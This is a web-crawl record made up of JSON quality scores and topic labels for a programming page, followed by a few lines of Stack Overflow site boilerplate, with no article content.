"red_pajama_v2": {
"ccnet_original_length": 3299,
"ccnet_original_nlines": 63,
"rps_doc_curly_bracket": 0.0006062400061637163,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.09439527988433838,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.0044247801415622234,
"rps_doc_frac_lines_end_with_ellipsis": 0.109375,
"rps_doc_frac_no_alph_words": 0.382005900144577,
"rps_doc_frac_unique_words": 0.6372548937797546,
"rps_doc_mean_word_length": 8.480392456054688,
"rps_doc_num_sentences": 65,
"rps_doc_symbol_to_word_ratio": 0.02212388999760151,
"rps_doc_unigram_entropy": 5.042685031890869,
"rps_doc_word_count": 306,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.028516380116343498,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.036994218826293945,
"rps_doc_frac_chars_top_3gram": 0.028901729732751846,
"rps_doc_frac_chars_top_4gram": 0.0323699414730072,
"rps_doc_books_importance": -283.22650146484375,
"rps_doc_books_importance_length_correction": -283.22650146484375,
"rps_doc_openwebtext_importance": -99.35664367675781,
"rps_doc_openwebtext_importance_length_correction": -99.35664367675781,
"rps_doc_wikipedia_importance": -93.66951751708984,
"rps_doc_wikipedia_importance_length_correction": -93.66951751708984
},
"fasttext": {
"dclm": 0.1479472517967224,
"english": 0.15437576174736023,
"fineweb_edu_approx": 1.7239859104156494,
"eai_general_math": 0.006975649856030941,
"eai_open_web_math": 0.11194921284914017,
"eai_web_code": 0.8236992955207825
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "4",
"label": "Missing Images or Figures"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
2,038,200,073,636,077,800 |
Beefy Boxes and Bandwidth Generously Provided by pair Networks
Syntactic Confectionery Delight
PerlMonks
Re^2: Help with RegEx
by mr_p (Scribe)
on Jul 02, 2010 at 14:42 UTC ( #847730=note: print w/replies, xml ) Need Help??
in reply to Re: Help with RegEx
in thread Help with RegEx
This is my code. I loved your one liner but I cant use it , because it doesn't work if there are no line breaks.
#!/usr/bin/perl -w use strict; my @ss = getItemsFromFile(); foreach my $s (@ss) { print "$s\n"; } sub getItemsFromFile { local $/=undef; my ($file_in) = "\n<?xml-stylesheet href=\"perl1.css\" type=\"text +/css\"?><link href=\"//www.perl.org/css/perl1.css\" rel=\"stylesheet\ +"><link href=\"/css/perl.css\" rel=\"stylesheet\"> <?xml-stylesheet +href=\"perl1.css\" type=\"text/css\"?>\n\n"; my @allItems=(); while ( $file_in =~ m{(.*stylesheet.*)}igs ) { my $line = $1; $line =~ s/>\s+\</></igs; $line =~ s/></>\n</igs; while ( $line =~ m/.*[<] *(.*stylesheet.*) *[>]/ig ) { my $line1 = $1; if ( $line1 =~ m/(href *= *['"])([^'"]+)['"]/ ) { push(@allItems, $2); } } } return @allItems; }
Replies are listed 'Best First'.
Re^3: Help with RegEx
by Corion (Pope) on Jul 02, 2010 at 14:55 UTC
Maybe it is now time for you to look at one of the proven and tested methods of using an HTML parser, like HTML::HeadParser or HTML::Parser? They all know about how to parse tags.
My code works. Was just wondering if it can be combined in one line. Actually I am thinking of trying what u'r saying and timing them both.
Re^3: Help with RegEx
by furry_marmot (Pilgrim) on Jul 03, 2010 at 04:18 UTC
my ($line_in) = "\n<?xml-stylesheet href=\"perl1.css\" type=\"text/css +\"?><link href=\"//www.perl.org/css/perl1.css\" rel=\"stylesheet\"><l +ink href=\"/css/perl.css\" rel=\"stylesheet\"> <?xml-stylesheet href +=\"perl1.css\" type=\"text/css\"?>\n\n"; my @ss = $line_in =~ /<(?=[^>]*stylesheet).*?href *= *"*([^">]+)"/gis; print "$_\n" for @ss; Prints: perl1.css //www.perl.org/css/perl1.css /css/perl.css perl1.css
I was tempted not to post that, since all you'd do is copy it into your own code. But maybe you can yet learn.
But you seriously need to read a book.
# I added print lines so you can see your own handiwork. And # comments you can learn from. Nothing else is changed. #!/usr/bin/perl -w use strict; my @ss = getItemsFromFile(); print "-----\n"; foreach my $s (@ss) { print "$s\n"; } sub getItemsFromFile { local $/=undef; my ($file_in) = "\n<?xml-stylesheet href=\"perl1.css\" type=\"text +/css\"?><link href=\"//www.perl.org/css/perl1.css\" rel=\"stylesheet\ +"><link href=\"/css/perl.css\" rel=\"stylesheet\"> <?xml-stylesheet +href=\"perl1.css\" type=\"text/css\"?>\n\n"; # Print the data so we can compare as we go along. print "0: $file_in"; my @allItems=(); # WHILE you are able to match everything before and after "stylesh +eet"... # which will match the entire file... # which means this will only work once... # which means you don't need a loop here. while ( $file_in =~ m{(.*stylesheet.*)}igs ) { # Copy the entire file to $line. my $line = $1; print "1: $line"; # Remove whitespace between tags, including newlines. $line =~ s/>\s+\</></igs; # NOW add newlines instead of doing so on the previous line. $line =~ s/></>\n</igs; # Why not $line =~ s/>\s+\</>\n</igs ? # .* is greedy. That means it matches as much as it can and st +arts # working backward. If you don't include the /s modifier, it w +ill stop # at the newline. So all you're doing here is putting each tag + on its # own line so you can look for "stylesheet" one line (tag) at +a time, # instead of searching on the whole string. There are much les +s # convoluted ways to do this. print "2: $line"; while ( $line =~ m/.*[<] *(.*stylesheet.*) *[>]/ig ) # By the way, you don't need to set up a character class for o +ne # character. And the way you've set it up # # while ( $line =~ /stylesheet/ig ) { } # # would work just fine. { # Carve off one tag... my $line1 = $1; print "3: $line1\n"; # The code below, or something close to it, could match on + the # whole file, saving you the steps you've done so far. It +works # here because there can only be one tag on instance of $l +ine1. if ( $line1 =~ m/(href *= *['"])([^'"]+)['"]/ ) { push(@allItems, $2); } } } return @allItems; } Prints: 0: <?xml-stylesheet href="perl1.css" type="text/css"?><link href="//www.p +erl.org/css/perl1.css" rel="stylesheet"><link href="/css/perl.css" re +l="stylesheet"> <?xml-stylesheet href="perl1.css" type="text/css"?> 1: <?xml-stylesheet href="perl1.css" type="text/css"?><link href="//www.p +erl.org/css/perl1.css" rel="stylesheet"><link href="/css/perl.css" re +l="stylesheet"> <?xml-stylesheet href="perl1.css" type="text/css"?> 2: <?xml-stylesheet href="perl1.css" type="text/css"?> <link href="//www.perl.org/css/perl1.css" rel="stylesheet"> <link href="/css/perl.css" rel="stylesheet"> <?xml-stylesheet href="perl1.css" type="text/css"?> 3: ?xml-stylesheet href="perl1.css" type="text/css"? 3: link href="//www.perl.org/css/perl1.css" rel="stylesheet" 3: link href="/css/perl.css" rel="stylesheet" 3: ?xml-stylesheet href="perl1.css" type="text/css"? ----- perl1.css //www.perl.org/css/perl1.css /css/perl.css perl1.css
You made the comment that my original code doesn't work if there are no line breaks. But your approach is to start with a string filled with line breaks, remove them, and then add them back in again, leaving your lines looking identical to the way I reformatted your data (see 2: above).
Your code works, but only by accident. It's not a generalizable solution. The advantage of using pre-written modules is that they've been tested, they work, they'll save you time, and you can always crack open their code and see how they work. The fact that they either take time to load or run more slowly than some custom code you wrote has to be weighed against the time you take trying to work out one-off solutions.
--marmot
Log In?
Username:
Password:
What's my password?
Create A New User
Node Status?
node history
Node Type: note [id://847730]
help
Chatterbox?
[ambrus]: Corion: actually, schmorp has complained about how you used that syntax in the draft for AnyEvent::Impl:: Prima. I don't think he screamed, but whatever.
[ambrus]: Yes, I know you fixed that since.
How do I use this? | Other CB clients
Other Users?
Others examining the Monastery: (9)
As of 2017-02-27 14:46 GMT
Sections?
Information?
Find Nodes?
Leftovers?
Voting Booth?
Before electricity was invented, what was the Electric Eel called?
Results (388 votes). Check out past polls.
|
{
"url": "http://www.perlmonks.org/index.pl?node_id=847730",
"source_domain": "www.perlmonks.org",
"snapshot_id": "crawl=CC-MAIN-2017-09",
"warc_metadata": {
"Content-Length": "30569",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:AMMOKMT4HUMBPKLCVSHEVVIBV7T5FHHO",
"WARC-Concurrent-To": "<urn:uuid:a152a34b-2c58-47fc-81d8-978bac40393b>",
"WARC-Date": "2017-02-27T14:48:55Z",
"WARC-IP-Address": "216.92.34.251",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:VAIGZDJNT4CI3SENMWSPLHV76QYRT3NJ",
"WARC-Record-ID": "<urn:uuid:261bfef9-c941-4af1-8827-27bbc25425ec>",
"WARC-Target-URI": "http://www.perlmonks.org/index.pl?node_id=847730",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:9964405f-aea8-4116-8001-7cdfb58efce7>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-171-10-108.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2017-09\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for February 2017\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
63,
95,
97,
109,
110,
132,
133,
150,
230,
231,
232,
264,
290,
291,
404,
1091,
1092,
1125,
1147,
1193,
1194,
1378,
1379,
1525,
1547,
1602,
2024,
2025,
2140,
2141,
2184,
5230,
5231,
5523,
5524,
5949,
5950,
5963,
5964,
5972,
5982,
5992,
5993,
6013,
6031,
6044,
6057,
6087,
6092,
6104,
6268,
6312,
6313,
6351,
6364,
6400,
6427,
6437,
6450,
6462,
6473,
6491,
6562,
6563,
6564,
6565,
6566,
6567,
6568
],
"line_end_idx": [
63,
95,
97,
109,
110,
132,
133,
150,
230,
231,
232,
264,
290,
291,
404,
1091,
1092,
1125,
1147,
1193,
1194,
1378,
1379,
1525,
1547,
1602,
2024,
2025,
2140,
2141,
2184,
5230,
5231,
5523,
5524,
5949,
5950,
5963,
5964,
5972,
5982,
5992,
5993,
6013,
6031,
6044,
6057,
6087,
6092,
6104,
6268,
6312,
6313,
6351,
6364,
6400,
6427,
6437,
6450,
6462,
6473,
6491,
6562,
6563,
6564,
6565,
6566,
6567,
6568,
6614
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 6614,
"ccnet_original_nlines": 69,
"rps_doc_curly_bracket": 0.003931059967726469,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.23258426785469055,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.011235959827899933,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.39719101786613464,
"rps_doc_frac_unique_words": 0.4321550726890564,
"rps_doc_mean_word_length": 5.0900797843933105,
"rps_doc_num_sentences": 149,
"rps_doc_symbol_to_word_ratio": 0.01910112053155899,
"rps_doc_unigram_entropy": 5.524141788482666,
"rps_doc_word_count": 877,
"rps_doc_frac_chars_dupe_10grams": 0.15636201202869415,
"rps_doc_frac_chars_dupe_5grams": 0.25089606642723083,
"rps_doc_frac_chars_dupe_6grams": 0.2271505445241928,
"rps_doc_frac_chars_dupe_7grams": 0.2271505445241928,
"rps_doc_frac_chars_dupe_8grams": 0.17069892585277557,
"rps_doc_frac_chars_dupe_9grams": 0.15636201202869415,
"rps_doc_frac_chars_top_2gram": 0.05600358173251152,
"rps_doc_frac_chars_top_3gram": 0.04838709905743599,
"rps_doc_frac_chars_top_4gram": 0.010080650448799133,
"rps_doc_books_importance": -714.5078125,
"rps_doc_books_importance_length_correction": -714.5078125,
"rps_doc_openwebtext_importance": -425.9426574707031,
"rps_doc_openwebtext_importance_length_correction": -425.9426574707031,
"rps_doc_wikipedia_importance": -344.13433837890625,
"rps_doc_wikipedia_importance_length_correction": -344.13433837890625
},
"fasttext": {
"dclm": 0.31716930866241455,
"english": 0.7250558733940125,
"fineweb_edu_approx": 1.5702413320541382,
"eai_general_math": 0.3838873505592346,
"eai_open_web_math": 0.3309614658355713,
"eai_web_code": 0.5515901446342468
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.736",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "5",
"label": "Social/Forum"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-3,387,564,299,625,070,600 |
Sign up ×
Stack Overflow is a community of 4.7 million programmers, just like you, helping each other. Join them; it only takes a minute:
From where can the ASP.NET RADKit for Endeca downloaded from?
share|improve this question
4 Answers 4
Prior to 15-Mar-2012, customers could download it from the EDeN (Endeca Developer Network). Since Oracle purchased Endeca in December of 2011, the download page now reads:
"As of 15-Mar-2012, access to the Endeca Support Technical Notes and previous product releases are no longer available through EDeN. The Endeca Support Technical Notes have been migrated to My Oracle Support and should be accessed there."
I would not recommend to use the RAD toolkit if you are going to implement any kind of website though! I have evaluated it and I have not found any way to build a site with a completely customized HTML layout. Use the normal presentation API, not the API delivered together with the RAD toolkit, and write your own wrapper around it.
Still, for an internal web-app the RAD controls might be just fine...
share|improve this answer
+1 on writing your own wrapper for Endeca. – Chris Missal Oct 5 '10 at 5:10
You need to be a customer in order to get access to their resources.
share|improve this answer
1. Go to https://edelivery.oracle.com and login with your user account
2. Select "Oracle Endeca" as the Product Pack
3. Select "Microsoft Windows ... " as Platform
4. Click "Go" to search
5. In the results, select "Oracle Endeca Guided Search (6.x) Media Pack for Microsoft Windows x64 (64-bit)"
6. Here you will find downloads for a number of components including "Oracle Endeca RAD Toolkit for ASP.NET 2.1.3 for Microsoft Windows x64 (64-bit)"
share|improve this answer
Since I have found it difficult to find things on the EDeN site, it may be useful to have the actual link to the Endeca RAD Toolkit for ASP.NET API Reference
share|improve this answer
Your Answer
discard
By posting your answer, you agree to the privacy policy and terms of service.
|
{
"url": "http://stackoverflow.com/questions/781973/asp-net-radkit-for-endeca",
"source_domain": "stackoverflow.com",
"snapshot_id": "crawl=CC-MAIN-2015-48",
"warc_metadata": {
"Content-Length": "81740",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:AKMNKCLLG6BUGSMR23PNZ4RLONEFZBJE",
"WARC-Concurrent-To": "<urn:uuid:d6fffea3-1cfd-455f-b8b0-cb1c938c81a7>",
"WARC-Date": "2015-12-01T01:29:45Z",
"WARC-IP-Address": "104.16.37.249",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:WNDQGPMJZ7JHV5J7CHDIRBFDYEX76T5I",
"WARC-Record-ID": "<urn:uuid:a8bb37d2-2048-4e8b-b4e6-23b347928a0c>",
"WARC-Target-URI": "http://stackoverflow.com/questions/781973/asp-net-radkit-for-endeca",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:021900b9-7165-40d6-b1b1-59e5f509302c>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-71-132-137.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2015-48\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for Nov 2015\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
10,
138,
139,
201,
202,
230,
231,
243,
244,
416,
417,
656,
657,
991,
992,
1062,
1063,
1089,
1094,
1170,
1171,
1240,
1241,
1267,
1340,
1388,
1437,
1463,
1573,
1725,
1751,
1752,
1910,
1911,
1937,
1938,
1950,
1951,
1953,
1961,
1962
],
"line_end_idx": [
10,
138,
139,
201,
202,
230,
231,
243,
244,
416,
417,
656,
657,
991,
992,
1062,
1063,
1089,
1094,
1170,
1171,
1240,
1241,
1267,
1340,
1388,
1437,
1463,
1573,
1725,
1751,
1752,
1910,
1911,
1937,
1938,
1950,
1951,
1953,
1961,
1962,
2039
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 2039,
"ccnet_original_nlines": 41,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3264367878437042,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.0436781607568264,
"rps_doc_frac_lines_end_with_ellipsis": 0.02380952052772045,
"rps_doc_frac_no_alph_words": 0.2344827651977539,
"rps_doc_frac_unique_words": 0.5355029702186584,
"rps_doc_mean_word_length": 4.680473327636719,
"rps_doc_num_sentences": 28,
"rps_doc_symbol_to_word_ratio": 0.004597700200974941,
"rps_doc_unigram_entropy": 4.854172706604004,
"rps_doc_word_count": 338,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.10366625338792801,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.050568901002407074,
"rps_doc_frac_chars_top_3gram": 0.0556257888674736,
"rps_doc_frac_chars_top_4gram": 0.0316055603325367,
"rps_doc_books_importance": -232.8561248779297,
"rps_doc_books_importance_length_correction": -232.8561248779297,
"rps_doc_openwebtext_importance": -115.32549285888672,
"rps_doc_openwebtext_importance_length_correction": -115.32549285888672,
"rps_doc_wikipedia_importance": -103.68231201171875,
"rps_doc_wikipedia_importance_length_correction": -103.68231201171875
},
"fasttext": {
"dclm": 0.03264540061354637,
"english": 0.8888113498687744,
"fineweb_edu_approx": 1.054855465888977,
"eai_general_math": 0.0001422200002707541,
"eai_open_web_math": 0.051863908767700195,
"eai_web_code": 0.00025993998860940337
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.452",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
6,067,873,395,606,887,000 |
Uses Of ViewBag And Model In ASP.NET MVC
1 minute read
In my series tutorial on ASP.NET MVC, I will try to develop an application which is called Training Management System (TMS). In this project, I will keep an employee’s skill matrix on the basis of training. Rather than this, I will keep employee information, training information and many more. I will continuously modify the project by implementing different features and functionality of ASP.NET MVC.
In this article, I will show how to implement a simple model and ViewBag. ASP.NET MVC offers us ViewBag for passing data from controller to view. ViewBag is dynamic object. Let’s create a project using asp.net MVC.
Step 1: Create a Model name – AboutModel
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
namespace TMS.Models
{
public class AboutModel
{
public string Name { get; set; }
public string Location { get; set; }
}
}
Step 2: Edit HomeController and update the About action as follows
public ActionResult About()
{
ViewBag.Message = "Company Information";
var aboutModel = new AboutModel();
aboutModel.Name = "Leadsoft Bangladesh Limited";
aboutModel.Location = "41/6, Purana Platan, Sawdesh Tower, Dhaka - 1000";
return View(aboutModel);
}
In this action, you will see, ViewBag.Message is used to hold a string, we will use it in view. I use a AboutModel object name aboutModel with its two property which will also use in the view.
Step 3: Edit About view (About.cshtml) as follows
@model TMS.Models.AboutModel
@{
ViewBag.Title = "About";
}
<hgroupclass="title">
<h1>@ViewBag.Title.</h1>
</hgroup>
<div>
<h2>@ViewBag.Message</h2>
<h2>@Model.Name</h2>
Location : @Model.Location
</div>
Add @model TMS.Models.AboutModelat the top of the view. To view the ViewBag data use like @ViewBag.Message . Use AboutModel value like
<h2>@Model.Name</h2>
Location : @Model.Location
Now run the project and click About link, you will see the output.
Comments
|
{
"url": "https://mahedee.net/uses-of-viewbag-and-model-in-asp-net-m/",
"source_domain": "mahedee.net",
"snapshot_id": "crawl=CC-MAIN-2022-05",
"warc_metadata": {
"Content-Length": "25951",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:ZXDVBJRRXSIDJOUDHHSRBHE3ERABLPHU",
"WARC-Concurrent-To": "<urn:uuid:8903ad0b-772d-4a1d-a537-c9d4a4379123>",
"WARC-Date": "2022-01-23T00:47:51Z",
"WARC-IP-Address": "185.199.110.153",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:LLJVWXNUY5LVYXDL3EEGP6QTVTUUKV7W",
"WARC-Record-ID": "<urn:uuid:15452383-c3f7-495d-8570-6f73550333f8>",
"WARC-Target-URI": "https://mahedee.net/uses-of-viewbag-and-model-in-asp-net-m/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:8481b234-1bdc-4e9c-b8a1-128e50907b5d>"
},
"warc_info": "isPartOf: CC-MAIN-2022-05\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for January 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-45\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.3-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
41,
42,
56,
57,
460,
461,
676,
677,
718,
719,
733,
767,
786,
804,
806,
827,
829,
855,
859,
896,
937,
941,
943,
944,
1011,
1012,
1040,
1042,
1085,
1088,
1125,
1176,
1252,
1255,
1282,
1284,
1285,
1478,
1479,
1529,
1530,
1559,
1562,
1587,
1589,
1611,
1636,
1646,
1652,
1678,
1699,
1726,
1733,
1734,
1869,
1870,
1891,
1918,
1919,
1986,
1987
],
"line_end_idx": [
41,
42,
56,
57,
460,
461,
676,
677,
718,
719,
733,
767,
786,
804,
806,
827,
829,
855,
859,
896,
937,
941,
943,
944,
1011,
1012,
1040,
1042,
1085,
1088,
1125,
1176,
1252,
1255,
1282,
1284,
1285,
1478,
1479,
1529,
1530,
1559,
1562,
1587,
1589,
1611,
1636,
1646,
1652,
1678,
1699,
1726,
1733,
1734,
1869,
1870,
1891,
1918,
1919,
1986,
1987,
1995
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 1995,
"ccnet_original_nlines": 61,
"rps_doc_curly_bracket": 0.0060150399804115295,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.21846847236156464,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.05180180072784424,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.3130630552768707,
"rps_doc_frac_unique_words": 0.5311355590820312,
"rps_doc_mean_word_length": 5.509157657623291,
"rps_doc_num_sentences": 42,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.6969122886657715,
"rps_doc_word_count": 273,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.02992020919919014,
"rps_doc_frac_chars_top_3gram": 0.011968090198934078,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -183.94512939453125,
"rps_doc_books_importance_length_correction": -183.94512939453125,
"rps_doc_openwebtext_importance": -121.68714141845703,
"rps_doc_openwebtext_importance_length_correction": -121.68714141845703,
"rps_doc_wikipedia_importance": -111.95146942138672,
"rps_doc_wikipedia_importance_length_correction": -111.95146942138672
},
"fasttext": {
"dclm": 0.03677428141236305,
"english": 0.7326723337173462,
"fineweb_edu_approx": 2.853644847869873,
"eai_general_math": 0.2435113787651062,
"eai_open_web_math": 0.07436048984527588,
"eai_web_code": 0.045670028775930405
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.138",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-5,636,503,744,054,490,000 |
Take the 2-minute tour ×
Stack Overflow is a question and answer site for professional and enthusiast programmers. It's 100% free, no registration required.
